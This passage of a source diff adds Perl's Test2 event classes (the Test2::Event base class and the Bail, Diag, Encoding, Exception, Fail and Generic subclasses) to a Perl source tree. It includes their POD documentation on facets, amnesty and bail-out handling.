+ return $LOADED_FACETS{$facet} if exists $LOADED_FACETS{$facet};
+
+ my @check = ($facet);
+ if ('s' eq substr($facet, -1, 1)) {
+ push @check => substr($facet, 0, -1);
+ }
+ else {
+ push @check => $facet . 's';
+ }
+
+ my $found;
+ for my $check (@check) {
+ my $mod = "Test2::EventFacet::" . ucfirst($facet);
+ my $file = pkg_to_file($mod);
+ next unless eval { require $file; 1 };
+ $found = $mod;
+ last;
+ }
+
+ return undef unless $found;
+ $LOADED_FACETS{$facet} = $found;
+}
+
+sub causes_fail { 0 }
+sub increments_count { 0 }
+sub diagnostics { 0 }
+sub no_display { 0 }
+sub subtest_id { undef }
+
+sub callback { }
+
+sub terminate { () }
+sub global { () }
+sub sets_plan { () }
+
+sub summary { ref($_[0]) }
+
+sub related {
+ my $self = shift;
+ my ($event) = @_;
+
+ my $tracea = $self->trace or return undef;
+ my $traceb = $event->trace or return undef;
+
+ my $uuida = $tracea->uuid;
+ my $uuidb = $traceb->uuid;
+ if ($uuida && $uuidb) {
+ return 1 if $uuida eq $uuidb;
+ return 0;
+ }
+
+ my $siga = $tracea->signature or return undef;
+ my $sigb = $traceb->signature or return undef;
+
+ return 1 if $siga eq $sigb;
+ return 0;
+}
+
+sub add_hub {
+ my $self = shift;
+ unshift @{$self->{+HUBS}} => @_;
+}
+
+sub add_amnesty {
+ my $self = shift;
+
+ for my $am (@_) {
+ $am = {%$am} if ref($am) ne 'ARRAY';
+ $am = Test2::EventFacet::Amnesty->new($am);
+
+ push @{$self->{+AMNESTY}} => $am;
+ }
+}
+
+sub common_facet_data {
+ my $self = shift;
+
+ my %out;
+
+ $out{about} = {package => ref($self) || undef};
+ if (my $uuid = $self->uuid) {
+ $out{about}->{uuid} = $uuid;
+ }
+
+ if (my $trace = $self->trace) {
+ $out{trace} = { %$trace };
+ }
+
+ if (my $hubs = $self->hubs) {
+ $out{hubs} = $hubs;
+ }
+
+ $out{amnesty} = [map {{ %{$_} }} @{$self->{+AMNESTY}}]
+ if $self->{+AMNESTY};
+
+ if (my $meta = $self->meta_facet_data) {
+ $out{meta} = $meta;
+ }
+
+ return \%out;
+}
+
+sub meta_facet_data {
+ my $self = shift;
+
+ my $key = Test2::Util::ExternalMeta::META_KEY();
+
+ my $hash = $self->{$key} or return undef;
+ return {%$hash};
+}
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{about}->{details} = $self->summary || undef;
+ $out->{about}->{no_display} = $self->no_display || undef;
+
+ # Might be undef, we want to preserve that
+ my $terminate = $self->terminate;
+ $out->{control} = {
+ global => $self->global || 0,
+ terminate => $terminate,
+ has_callback => $self->can('callback') == \&callback ? 0 : 1,
+ };
+
+ $out->{assert} = {
+ no_debug => 1, # Legacy behavior
+ pass => $self->causes_fail ? 0 : 1,
+ details => $self->summary,
+ } if $self->increments_count;
+
+ $out->{parent} = {hid => $self->subtest_id} if $self->subtest_id;
+
+ if (my @plan = $self->sets_plan) {
+ $out->{plan} = {};
+
+ $out->{plan}->{count} = $plan[0] if defined $plan[0];
+ $out->{plan}->{details} = $plan[2] if defined $plan[2];
+
+ if ($plan[1]) {
+ $out->{plan}->{skip} = 1 if $plan[1] eq 'SKIP';
+ $out->{plan}->{none} = 1 if $plan[1] eq 'NO PLAN';
+ }
+
+ $out->{control}->{terminate} ||= 0 if $out->{plan}->{skip};
+ }
+
+ if ($self->causes_fail && !$out->{assert}) {
+ $out->{errors} = [
+ {
+ tag => 'FAIL',
+ fail => 1,
+ details => $self->summary,
+ }
+ ];
+ }
+
+ my %IGNORE = (trace => 1, about => 1, control => 1);
+ my $do_info = !grep { !$IGNORE{$_} } keys %$out;
+
+ if ($do_info && !$self->no_display && $self->diagnostics) {
+ $out->{info} = [
+ {
+ tag => 'DIAG',
+ debug => 1,
+ details => $self->summary,
+ }
+ ];
+ }
+
+ return $out;
+}
+
+sub facets {
+ my $self = shift;
+ my %out;
+
+ my $data = $self->facet_data;
+ my @errors = $self->validate_facet_data($data);
+ die join "\n" => @errors if @errors;
+
+ for my $facet (keys %$data) {
+ my $class = $self->load_facet($facet);
+ my $val = $data->{$facet};
+
+ unless($class) {
+ $out{$facet} = $val;
+ next;
+ }
+
+ my $is_list = reftype($val) eq 'ARRAY' ? 1 : 0;
+ if ($is_list) {
+ $out{$facet} = [map { $class->new($_) } @$val];
+ }
+ else {
+ $out{$facet} = $class->new($val);
+ }
+ }
+
+ return \%out;
+}
+
+sub validate_facet_data {
+ my $class_or_self = shift;
+ my ($f, %params);
+
+ $f = shift if @_ && (reftype($_[0]) || '') eq 'HASH';
+ %params = @_;
+
+ $f ||= $class_or_self->facet_data if blessed($class_or_self);
+ croak "No facet data" unless $f;
+
+ my @errors;
+
+ for my $k (sort keys %$f) {
+ my $fclass = $class_or_self->load_facet($k);
+
+ push @errors => "Could not find a facet class for facet '$k'"
+ if $params{require_facet_class} && !$fclass;
+
+ next unless $fclass;
+
+ my $v = $f->{$k};
+ next unless defined($v); # undef is always fine
+
+ my $is_list = $fclass->is_list();
+ my $got_list = reftype($v) eq 'ARRAY' ? 1 : 0;
+
+ push @errors => "Facet '$k' should be a list, but got a single item ($v)"
+ if $is_list && !$got_list;
+
+ push @errors => "Facet '$k' should not be a list, but got a a list ($v)"
+ if $got_list && !$is_list;
+ }
+
+ return @errors;
+}
+
+sub nested {
+ my $self = shift;
+
+ Carp::cluck("Use of Test2::Event->nested() is deprecated, use Test2::Event->trace->nested instead")
+ if $ENV{AUTHOR_TESTING};
+
+ if (my $hubs = $self->{+HUBS}) {
+ return $hubs->[0]->{nested} if @$hubs;
+ }
+
+ my $trace = $self->{+TRACE} or return undef;
+ return $trace->{nested};
+}
+
+sub in_subtest {
+ my $self = shift;
+
+ Carp::cluck("Use of Test2::Event->in_subtest() is deprecated, use Test2::Event->trace->hid instead")
+ if $ENV{AUTHOR_TESTING};
+
+ my $hubs = $self->{+HUBS};
+ if ($hubs && @$hubs) {
+ return undef unless $hubs->[0]->{nested};
+ return $hubs->[0]->{hid}
+ }
+
+ my $trace = $self->{+TRACE} or return undef;
+ return undef unless $trace->{nested};
+ return $trace->{hid};
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event - Base class for events
+
+=head1 DESCRIPTION
+
+Base class for all event objects that get passed through
+L<Test2>.
+
+=head1 SYNOPSIS
+
+ package Test2::Event::MyEvent;
+ use strict;
+ use warnings;
+
+ # This will make our class an event subclass (required)
+ use base 'Test2::Event';
+
+ # Add some accessors (optional)
+ # You are not obligated to use HashBase, you can use any object tool you
+ # want, or roll your own accessors.
+ use Test2::Util::HashBase qw/foo bar baz/;
+
+ # Use this if you want the legacy API to be written for you, for this to
+ # work you will need to implement a facet_data() method.
+ use Test2::Util::Facets2Legacy;
+
+ # Chance to initialize some defaults
+ sub init {
+ my $self = shift;
+ # no other args in @_
+
+ $self->set_foo('xxx') unless defined $self->foo;
+
+ ...
+ }
+
+ # This is the new way for events to convey data to the Test2 system
+ sub facet_data {
+ my $self = shift;
+
+ # Get common facets such as 'about', 'trace' 'amnesty', and 'meta'
+ my $facet_data = $self->common_facet_data();
+
+ # Are you making an assertion?
+ $facet_data->{assert} = {pass => 1, details => 'my assertion'};
+ ...
+
+ return $facet_data;
+ }
+
+ 1;
+
+=head1 METHODS
+
+=head2 GENERAL
+
+=over 4
+
+=item $trace = $e->trace
+
+Get a snapshot of the L<Test2::EventFacet::Trace> as it was when this event was
+generated
+
+=item $bool_or_undef = $e->related($e2)
+
+Check if 2 events are related. In this case related means their traces share a
+signature meaning they were created with the same context (or at the very least
+by contexts which share an id, which is the same thing unless someone is doing
+something very bad).
+
+This can be used to reliably link multiple events created by the same tool. For
+instance a failing test like C<ok(0, "fail"> will generate 2 events, one being
+a L<Test2::Event::Ok>, the other being a L<Test2::Event::Diag>, both of these
+events are related having been created under the same context and by the same
+initial tool (though multiple tools may have been nested under the initial
+one).
+
+This will return C<undef> if the relationship cannot be checked, which happens
+if either event has an incomplete or missing trace. This will return C<0> if
+the traces are complete, but do not match. C<1> will be returned if there is a
+match.
+
+=item $e->add_amnesty({tag => $TAG, details => $DETAILS});
+
+This can be used to add amnesty to this event. Amnesty only effects failing
+assertions in most cases, but some formatters may display them for passing
+assertions, or even non-assertions as well.
+
+Amnesty will prevent a failed assertion from causing the overall test to fail.
+In other words it marks a failure as expected and allowed.
+
+B<Note:> This is how 'TODO' is implemented under the hood. TODO is essentially
+amnesty with the 'TODO' tag. The details are the reason for the TODO.
+
+=item $uuid = $e->uuid
+
+If UUID tagging is enabled (See L<Test::API>) then any event that has made its
+way through a hub will be tagged with a UUID. A newly created event will not
+yet be tagged in most cases.
+
+=item $class = $e->load_facet($name)
+
+This method is used to load a facet by name (or key). It will attempt to load
+the facet class, if it succeeds it will return the class it loaded. If it fails
+it will return C<undef>. This caches the result at the class level so that
+future calls will be faster.
+
+The C<$name> variable should be the key used to access the facet in a facets
+hashref. For instance the assertion facet has the key 'assert', the information
+facet has the 'info' key, and the error facet has the key 'errors'. You may
+include or omit the 's' at the end of the name, the method is smart enough to
+try both the 's' and no-'s' forms, it will check what you provided first, and
+if that is not found it will add or strip the 's and try again.
+
+=item @classes = $e->FACET_TYPES()
+
+=item @classes = Test2::Event->FACET_TYPES()
+
+This returns a list of all facets that have been loaded using the
+C<load_facet()> method. This will not return any classes that have not been
+loaded, or have been loaded directly without a call to C<load_facet()>.
+
+B<Note:> The core facet types are automatically loaded and populated in this
+list.
+
+=back
+
+=head2 NEW API
+
+=over 4
+
+=item $hashref = $e->common_facet_data();
+
+This can be used by subclasses to generate a starting facet data hashref. This
+will populate the hashref with the trace, meta, amnesty, and about facets.
+These facets are nearly always produced the same way for all events.
+
+=item $hashref = $e->facet_data()
+
+If you do not override this then the default implementation will attempt to
+generate facets from the legacy API. This generation is limited only to what
+the legacy API can provide. It is recommended that you override this method and
+write out explicit facet data.
+
+=item $hashref = $e->facets()
+
+This takes the hashref from C<facet_data()> and blesses each facet into the
+proper C<Test2::EventFacet::*> subclass. If no class can be found for any given
+facet it will be passed along unchanged.
+
+=item @errors = $e->validate_facet_data();
+
+=item @errors = $e->validate_facet_data(%params);
+
+=item @errors = $e->validate_facet_data(\%facets, %params);
+
+=item @errors = Test2::Event->validate_facet_data(%params);
+
+=item @errors = Test2::Event->validate_facet_data(\%facets, %params);
+
+This method will validate facet data and return a list of errors. If no errors
+are found this will return an empty list.
+
+This can be called as an object method with no arguments, in which case the
+C<facet_data()> method will be called to get the facet data to be validated.
+
+When used as an object method the C<\%facet_data> argument may be omitted.
+
+When used as a class method the C<\%facet_data> argument is required.
+
+Remaining arguments will be slurped into a C<%params> hash.
+
+Currently only 1 parameter is defined:
+
+=over 4
+
+=item require_facet_class => $BOOL
+
+When set to true (default is false) this will reject any facets where a facet
+class cannot be found. Normally facets without classes are assumed to be custom
+and are ignored.
+
+=back
+
+=back
+
+=head3 WHAT ARE FACETS?
+
+Facets are how events convey their purpose to the Test2 internals and
+formatters. An event without facets will have no intentional effect on the
+overall test state, and will not be displayed at all by most formatters, except
+perhaps to say that an event of an unknown type was seen.
+
+Facets are produced by the C<facet_data()> subroutine, which you should
+nearly-always override. C<facet_data()> is expected to return a hashref where
+each key is the facet type, and the value is either a hashref with the data for
+that facet, or an array of hashref's. Some facets must be defined as single
+hashrefs, some must be defined as an array of hashrefs, No facets allow both.
+
+C<facet_data()> B<MUST NOT> bless the data it returns, the main hashref, and
+nested facet hashref's B<MUST> be bare, though items contained within each
+facet may be blessed. The data returned by this method B<should> also be copies
+of the internal data in order to prevent accidental state modification.
+
+C<facets()> takes the data from C<facet_data()> and blesses it into the
+C<Test2::EventFacet::*> packages. This is rarely used however, the EventFacet
+packages are primarily for convenience and documentation. The EventFacet
+classes are not used at all internally, instead the raw data is used.
+
+Here is a list of facet types by package. The packages are not used internally,
+but are where the documentation for each type is kept.
+
+B<Note:> Every single facet type has the C<'details'> field. This field is
+always intended for human consumption, and when provided, should explain the
+'why' for the facet. All other fields are facet specific.
+
+=over 4
+
+=item about => {...}
+
+L<Test2::EventFacet::About>
+
+This contains information about the event itself such as the event package
+name. The C<details> field for this facet is an overall summary of the event.
+
+=item assert => {...}
+
+L<Test2::EventFacet::Assert>
+
+This facet is used if an assertion was made. The C<details> field of this facet
+is the description of the assertion.
+
+=item control => {...}
+
+L<Test2::EventFacet::Control>
+
+This facet is used to tell the L<Test2::Event::Hub> about special actions the
+event causes. Things like halting all testing, terminating the current test,
+etc. In this facet the C<details> field explains why any special action was
+taken.
+
+B<Note:> This is how bail-out is implemented.
+
+=item meta => {...}
+
+L<Test2::EventFacet::Meta>
+
+The meta facet contains all the meta-data attached to the event. In this case
+the C<details> field has no special meaning, but may be present if something
+sets the 'details' meta-key on the event.
+
+=item parent => {...}
+
+L<Test2::EventFacet::Parent>
+
+This facet contains nested events and similar details for subtests. In this
+facet the C<details> field will typically be the name of the subtest.
+
+=item plan => {...}
+
+L<Test2::EventFacet::Plan>
+
+This facet tells the system that a plan has been set. The C<details> field of
+this is usually left empty, but when present explains why the plan is what it
+is, this is most useful if the plan is to skip-all.
+
+=item trace => {...}
+
+L<Test2::EventFacet::Trace>
+
+This facet contains information related to when and where the event was
+generated. This is how the test file and line number of a failure is known.
+This facet can also help you to tell if tests are related.
+
+In this facet the C<details> field overrides the "failed at test_file.t line
+42." message provided on assertion failure.
+
+=item amnesty => [{...}, ...]
+
+L<Test2::EventFacet::Amnesty>
+
+The amnesty facet is a list instead of a single item, this is important as
+amnesty can come from multiple places at once.
+
+For each instance of amnesty the C<details> field explains why amnesty was
+granted.
+
+B<Note:> Outside of formatters amnesty only acts to forgive a failing
+assertion.
+
+=item errors => [{...}, ...]
+
+L<Test2::EventFacet::Error>
+
+The errors facet is a list instead of a single item, any number of errors can
+be listed. In this facet C<details> describes the error, or may contain the raw
+error message itself (such as an exception). In perl exception may be blessed
+objects, as such the raw data for this facet may contain nested items which are
+blessed.
+
+Not all errors are considered fatal, there is a C<fail> field that must be set
+for an error to cause the test to fail.
+
+B<Note:> This facet is unique in that the field name is 'errors' while the
+package is 'Error'. This is because this is the only facet type that is both a
+list, and has a name where the plural is not the same as the singular. This may
+cause some confusion, but I feel it will be less confusing than the
+alternative.
+
+=item info => [{...}, ...]
+
+L<Test2::EventFacet::Info>
+
+The 'info' facet is a list instead of a single item, any quantity of extra
+information can be attached to an event. Some information may be critical
+diagnostics, others may be simply commentary in nature, this is determined by
+the C<debug> flag.
+
+For this facet the C<details> flag is the info itself. This info may be a
+string, or it may be a data structure to display. This is one of the few facet
+types that may contain blessed items.
+
+=back
+
+=head2 LEGACY API
+
+=over 4
+
+=item $bool = $e->causes_fail
+
+Returns true if this event should result in a test failure. In general this
+should be false.
+
+=item $bool = $e->increments_count
+
+Should be true if this event should result in a test count increment.
+
+=item $e->callback($hub)
+
+If your event needs to have extra effects on the L<Test2::Hub> you can override
+this method.
+
+This is called B<BEFORE> your event is passed to the formatter.
+
+=item $num = $e->nested
+
+If this event is nested inside of other events, this should be the depth of
+nesting. (This is mainly for subtests)
+
+=item $bool = $e->global
+
+Set this to true if your event is global, that is ALL threads and processes
+should see it no matter when or where it is generated. This is not a common
+thing to want, it is used by bail-out and skip_all to end testing.
+
+=item $code = $e->terminate
+
+This is called B<AFTER> your event has been passed to the formatter. This
+should normally return undef, only change this if your event should cause the
+test to exit immediately.
+
+If you want this event to cause the test to exit you should return the exit
+code here. Exit code of 0 means exit success, any other integer means exit with
+failure.
+
+This is used by L<Test2::Event::Plan> to exit 0 when the plan is
+'skip_all'. This is also used by L<Test2::Event:Bail> to force the test
+to exit with a failure.
+
+This is called after the event has been sent to the formatter in order to
+ensure the event is seen and understood.
+
+=item $msg = $e->summary
+
+This is intended to be a human readable summary of the event. This should
+ideally only be one line long, but you can use multiple lines if necessary. This
+is intended for human consumption. You do not need to make it easy for machines
+to understand.
+
+The default is to simply return the event package name.
+
+=item ($count, $directive, $reason) = $e->sets_plan()
+
+Check if this event sets the testing plan. It will return an empty list if it
+does not. If it does set the plan it will return a list of 1 to 3 items in
+order: Expected Test Count, Test Directive, Reason for directive.
+
+=item $bool = $e->diagnostics
+
+True if the event contains diagnostics info. This is useful because a
+non-verbose harness may choose to hide events that are not in this category.
+Some formatters may choose to send these to STDERR instead of STDOUT to ensure
+they are seen.
+
+=item $bool = $e->no_display
+
+False by default. This will return true on events that should not be displayed
+by formatters.
+
+=item $id = $e->in_subtest
+
+If the event is inside a subtest this should have the subtest ID.
+
+=item $id = $e->subtest_id
+
+If the event is a final subtest event, this should contain the subtest ID.
+
+=back
+
+=head1 THIRD PARTY META-DATA
+
+This object consumes L<Test2::Util::ExternalMeta> which provides a consistent
+way for you to attach meta-data to instances of this class. This is useful for
+tools, plugins, and other extensions.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Bail.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Bail.pm
new file mode 100644
index 00000000000..bfd99ee3aa4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Bail.pm
@@ -0,0 +1,109 @@
+package Test2::Event::Bail;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw{reason buffered};
+
+# Make sure the tests terminate
+sub terminate { 255 };
+
+sub global { 1 };
+
+sub causes_fail { 1 }
+
+sub summary {
+ my $self = shift;
+ return "Bail out! " . $self->{+REASON}
+ if $self->{+REASON};
+
+ return "Bail out!";
+}
+
+sub diagnostics { 1 }
+
+sub facet_data {
+ my $self = shift;
+ my $out = $self->common_facet_data;
+
+ $out->{control} = {
+ global => 1,
+ halt => 1,
+ details => $self->{+REASON},
+ terminate => 255,
+ };
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Bail - Bailout!
+
+=head1 DESCRIPTION
+
+The bailout event is generated when things go horribly wrong and you need to
+halt all testing in the current file.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Bail;
+
+ my $ctx = context();
+ my $event = $ctx->bail('Stuff is broken');
+
+=head1 METHODS
+
+Inherits from L<Test2::Event>. Also defines:
+
+=over 4
+
+=item $reason = $e->reason
+
+The reason for the bailout.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Diag.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Diag.pm
new file mode 100644
index 00000000000..f5d3a6a49ea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Diag.pm
@@ -0,0 +1,99 @@
+package Test2::Event::Diag;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw/message/;
+
+sub init {
+ $_[0]->{+MESSAGE} = 'undef' unless defined $_[0]->{+MESSAGE};
+}
+
+sub summary { $_[0]->{+MESSAGE} }
+
+sub diagnostics { 1 }
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{info} = [
+ {
+ tag => 'DIAG',
+ debug => 1,
+ details => $self->{+MESSAGE},
+ }
+ ];
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Diag - Diag event type
+
+=head1 DESCRIPTION
+
+Diagnostics messages, typically rendered to STDERR.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Diag;
+
+ my $ctx = context();
+ my $event = $ctx->diag($message);
+
+=head1 ACCESSORS
+
+=over 4
+
+=item $diag->message
+
+The message for the diag.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Encoding.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
new file mode 100644
index 00000000000..cd4b28dcbed
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
@@ -0,0 +1,97 @@
+package Test2::Event::Encoding;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/croak/;
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw/encoding/;
+
+sub init {
+ my $self = shift;
+ defined $self->{+ENCODING} or croak "'encoding' is a required attribute";
+}
+
+sub summary { 'Encoding set to ' . $_[0]->{+ENCODING} }
+
+sub facet_data {
+ my $self = shift;
+ my $out = $self->common_facet_data;
+ $out->{control}->{encoding} = $self->{+ENCODING};
+ $out->{about}->{details} = $self->summary;
+ return $out;
+}
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Encoding - Set the encoding for the output stream
+
+=head1 DESCRIPTION
+
+The encoding event is generated when a test file wants to specify the encoding
+to be used when formatting its output. This event is intended to be produced
+by formatter classes and used for interpreting test names, message contents,
+etc.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Encoding;
+
+ my $ctx = context();
+ my $event = $ctx->send_event('Encoding', encoding => 'UTF-8');
+
+=head1 METHODS
+
+Inherits from L<Test2::Event>. Also defines:
+
+=over 4
+
+=item $encoding = $e->encoding
+
+The encoding being specified.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Exception.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Exception.pm
new file mode 100644
index 00000000000..4ec36c57faa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Exception.pm
@@ -0,0 +1,113 @@
+package Test2::Event::Exception;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw{error};
+
+sub init {
+ my $self = shift;
+ $self->{+ERROR} = "$self->{+ERROR}";
+}
+
+sub causes_fail { 1 }
+
+sub summary {
+ my $self = shift;
+ chomp(my $msg = "Exception: " . $self->{+ERROR});
+ return $msg;
+}
+
+sub diagnostics { 1 }
+
+sub facet_data {
+ my $self = shift;
+ my $out = $self->common_facet_data;
+
+ $out->{errors} = [
+ {
+ tag => 'ERROR',
+ fail => 1,
+ details => $self->{+ERROR},
+ }
+ ];
+
+ return $out;
+}
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Exception - Exception event
+
+=head1 DESCRIPTION
+
+An exception event will display to STDERR, and will prevent the overall test
+file from passing.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Exception;
+
+ my $ctx = context();
+ my $event = $ctx->send_event('Exception', error => 'Stuff is broken');
+
+=head1 METHODS
+
+Inherits from L<Test2::Event>. Also defines:
+
+=over 4
+
+=item $reason = $e->error
+
+The reason for the exception.
+
+=back
+
+=head1 CAVEATS
+
+Be aware that all exceptions are stringified during construction.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Fail.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Fail.pm
new file mode 100644
index 00000000000..f243918627f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Fail.pm
@@ -0,0 +1,118 @@
+package Test2::Event::Fail;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::EventFacet::Info;
+
+BEGIN {
+ require Test2::Event;
+ our @ISA = qw(Test2::Event);
+ *META_KEY = \&Test2::Util::ExternalMeta::META_KEY;
+}
+
+use Test2::Util::HashBase qw{ -name -info };
+
+#############
+# Old API
+sub summary { "fail" }
+sub increments_count { 1 }
+sub diagnostics { 0 }
+sub no_display { 0 }
+sub subtest_id { undef }
+sub terminate { () }
+sub global { () }
+sub sets_plan { () }
+
+sub causes_fail {
+ my $self = shift;
+ return 0 if $self->{+AMNESTY} && @{$self->{+AMNESTY}};
+ return 1;
+}
+
+#############
+# New API
+
+sub add_info {
+ my $self = shift;
+
+ for my $in (@_) {
+ $in = {%$in} if ref($in) ne 'ARRAY';
+ $in = Test2::EventFacet::Info->new($in);
+
+ push @{$self->{+INFO}} => $in;
+ }
+}
+
+sub facet_data {
+ my $self = shift;
+ my $out = $self->common_facet_data;
+
+ $out->{about}->{details} = 'fail';
+
+ $out->{assert} = {pass => 0, details => $self->{+NAME}};
+
+ $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO};
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Fail - Event for a simple failed assertion
+
+=head1 DESCRIPTION
+
+This is an optimal representation of a failed assertion.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+
+ sub fail {
+ my ($name) = @_;
+ my $ctx = context();
+ $ctx->fail($name);
+ $ctx->release;
+ }
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Generic.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Generic.pm
new file mode 100644
index 00000000000..b5bf934135c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Generic.pm
@@ -0,0 +1,280 @@
+package Test2::Event::Generic;
+use strict;
+use warnings;
+
+use Carp qw/croak/;
+use Scalar::Util qw/reftype/;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase;
+
+my @FIELDS = qw{
+ causes_fail increments_count diagnostics no_display callback terminate
+ global sets_plan summary facet_data
+};
+my %DEFAULTS = (
+ causes_fail => 0,
+ increments_count => 0,
+ diagnostics => 0,
+ no_display => 0,
+);
+
+sub init {
+ my $self = shift;
+
+ for my $field (@FIELDS) {
+ my $val = defined $self->{$field} ? delete $self->{$field} : $DEFAULTS{$field};
+ next unless defined $val;
+
